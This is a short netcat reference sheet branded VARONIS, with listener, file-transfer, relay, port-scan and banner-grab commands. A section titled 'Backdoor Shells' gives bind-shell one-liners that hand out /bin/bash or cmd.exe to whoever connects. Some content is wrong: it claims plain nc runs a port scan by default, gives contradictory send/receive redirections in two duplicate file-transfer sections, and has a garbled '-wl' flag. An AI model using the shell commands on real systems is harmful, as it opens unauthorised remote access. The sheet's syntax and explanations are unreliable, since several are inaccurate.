NETCAT COMMAND CHEAT SHEET

Netcat Fundamentals

```
nc [options] [host] [port]
```
By default this will execute a port scan

```
nc -l [host] [port]
```
Initiates a listener on the given port

Netcat File Transfer

```
nc [host] [port] > file_name.out
```
Send a file

```
nc [host] [port] > file_name.in
```
Receive a file

Netcat Backdoor Shells

```
nc -l -p [port] -e /bin/bash
```
Run a shell on Linux

```
nc -l -p [port] -e cmd.exe
```
Run a shell on Netcat for Windows

Netcat Relays on Windows

```
nc [host] [port] > relay.bat
```
Open a relay connection

```
nc -l -p [port] -e relay.bat
```
Connect to relay

Netcat Relays on Linux

```
nc -l -p [port] 0 < backpipe | nc [client IP]
[port] | tee backpipe
```

Netcat Command Flags

nc -4	– Use IPv4 only
nc -6	– Use IPv6
nc -u	– Use UDP instead of TCP
nc -k -l	– Continue listening after disconnection
nc -n	– Skip DNS lookups
nc -v	– Provide verbose output

Netcat Port Scanner

```
nc -zv site.com 80
```
Scan a single port

```
nc -zv hostname.com 80 84
```
Scan a set of individual ports

```
nc -zv site.com 80-84
```
Scan a range of ports

Netcat File Transfer

```
nc [host] [port] > file_name.out
```
Send a file

```
nc [host] [port] < file_name.in
```
Receive a file

Netcat Banners

```
echo "" | nc -zv -wl [host] [port range]
```
Obtain the TCP banners for a range of ports

VARONIS